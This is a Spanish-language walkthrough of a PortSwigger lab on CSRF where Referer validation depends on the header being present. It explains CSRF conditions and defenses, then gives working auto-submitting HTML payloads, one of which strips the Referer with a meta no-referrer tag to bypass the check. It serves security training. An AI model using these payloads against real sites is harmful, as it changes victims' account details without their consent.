CSRF Lab 11

Skills

• CSRF where Referer validation depends on header being present

Certificaciones

• eWPT
• eWPTXv2
• OSWE
• BSCP

Descripción

La funcionalidad de cambio de correo electrónico de este laboratorio es vulnerable a CSRF. Intenta bloquear las solicitudes entre dominios, pero tiene un fallback inseguro. Para resolver el laboratorio, usa tu Exploit server para alojar una página HTML que utilice un ataque CSRF para cambiar el correo electrónico de la víctima. Puedes iniciar sesión en tu propia cuenta utilizando las credenciales wiener:peter

---

Resolución

Al acceder a la web vemos esto

Al pulsar sobre My account y nos logueamos con la credenciales wiener:peter

Vemos que podemos cambiar nuestro email

Para resolver el laboratorio, debemos explotar un CSRF, el cual es una vulnerabilidad de seguridad web que permite a un atacante inducir a los usuarios a realizar acciones que no tienen intención de realizar. Permite a un atacante eludir parcialmente la política de same origin, que está diseñada para evitar que diferentes sitios web interfieran entre sí. Para que sea posible un ataque CSRF, deben cumplirse tres condiciones clave

• Una acción relevante - Hay una acción dentro de la aplicación que el atacante tiene motivos para inducir. Puede ser una acción privilegiada (como modificar los permisos de otros usuarios) o cualquier acción sobre datos específicos del usuario (como cambiar la contraseña del usuario)

• Manejo de sesiones basado en cookies - Para realizar la acción, se deben emitir una o más solicitudes HTTP, y la aplicación se basa únicamente en las cookies de sesión para identificar al usuario que realizó las solicitudes. No existe ningún otro mecanismo para realizar el seguimiento de las sesiones o validar las solicitudes de los usuarios

• Sin parámetros de solicitud impredecibles - Las solicitudes que realizan la acción no contienen ningún parámetro cuyos valores el atacante no pueda determinar o adivinar. Por ejemplo, al hacer que un usuario cambie su contraseña, la función no es vulnerable si un atacante necesita saber el valor de la contraseña existente

Las defensas más comunes contra ataques CSRF con las que nos podemos encontrar son las siguientes

• Token CSRF - Es un token único, secreto e impredecible generado por el servidor y compartido con el cliente. Para realizar una acción sensible, como enviar un formulario, el cliente debe incluir este token. Esto dificulta que un atacante genere solicitudes válidas en nombre de la víctima

• Cookies SameSite - SameSite es un mecanismo de seguridad del navegador que regula cuándo se incluyen las cookies en las solicitudes de otros sitios web. Dado que las solicitudes para realizar acciones sensibles suelen requerir una cookie válida, es decir, una cookie que haya sido asignada tras una autenticación válida, las restricciones que aplica SameSite pueden impedir que un atacante desencadene estas acciones. Desde 2021, Chrome aplica por defecto las restricciones Lax SameSite, dado que este es el estándar, se espera que otros navegadores también lo adopten

• Validación basada en Referer - Algunas aplicaciones hacen uso de la cabecera HTTP Referer para intentar defenderse de ataques CSRF, normalmente verificando que la petición se originó en el propio dominio de la web. Esto suele ser menos efectivo que la validación de tokens CSRF

Aparte de las defensas que emplean los CSRF tokens, algunas aplicaciones hacen uso del HTTP Referer header para intentar defenderse de los ataques CSRF, normalmente verificando que la solicitud se originó desde el dominio de la aplicación. Este enfoque generalmente es menos efectivo y suele ser susceptible de ser eludido

El HTTP Referer header es una cabecera de solicitud opcional que contiene la URL de la página web desde la que proviene una solicitud. Normalmente, los navegadores la agregan automáticamente cuando un usuario desencadena una solicitud HTTP, ya sea al hacer clic en un enlace o al enviar un formulario. Existen varios métodos que permiten que la página desde la que proviene la solicitud retenga o modifique el valor del Referer header, lo cual, se hace a menudo por razones de privacidad

Si nos abrimos las herramientas de desarrollador de Chrome vemos que el atributo SameSite tiene el valor None

Inspeccionamos la forma en la que se crea el formulario de cambio de email para usarlo como plantilla a la hora de construir nuestro payload

Creamos el payload y lo copiamos en el Exploit server

<html>
  <body>
    <form action="https://0a38008204f6d4ef9c0ef998009e00c3.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="testing@gmail.com">
    </form>
    <script>
         document.forms[0].submit();
    </script>
  </body>
</html>

Al hacer click en View exploit el ataque no funciona y nos arroja este mensaje

Si nos dirigimos a la extensión de Burp Suite Logger++ y revisamos la petición que acabamos de realizar, vemos que la cabecera Referer hace referencia a nuestro servidor de exploits

Si nos fijamos en la petición que hemos hecho al principio de cambio de email, vemos que esa sí que ha sido exitosa y que la única diferencia con la actual es el valor de la cabecera Referer

Algunas aplicaciones validan el Referer header cuando está presente en las solicitudes, pero omiten la validación si el encabezado está ausente

En esta situación, un atacante puede crear un exploit CSRF que haga que el navegador del usuario víctima elimine el Referer header en la solicitud resultante. Existen varias formas de lograr esto, pero la más fácil es utilizando una etiqueta META dentro de la página HTML que aloja el ataque CSRF

<meta name="referrer" content="never">

Si borramos la cabecera Referer si que nos acepta la petición como válida

De acuerdo con la documentación de Mozilla https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy podemos usar la etiqueta <meta> para que se ignore la cabecera Referer. Con esta información nos dirigimos al Exploit server y modificamos el payload anterior

<html>
  <body>
    <head>
        <meta name="referrer" content="no-referrer">
    </head>
    <form action="https://0a38008204f6d4ef9c0ef998009e00c3.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="testing@gmail.com">
    </form>
    <script>
         document.forms[0].submit();
    </script>
  </body>
</html>

Si pulsamos sobre View exploit veremos que no nos arroja ningún error y nos cambia el email correctamente. Para completar el laboratorio debemos cambiar nuestro email o cambiar el email usado en el payload debido a que no puede haber dos usuarios con el mismo email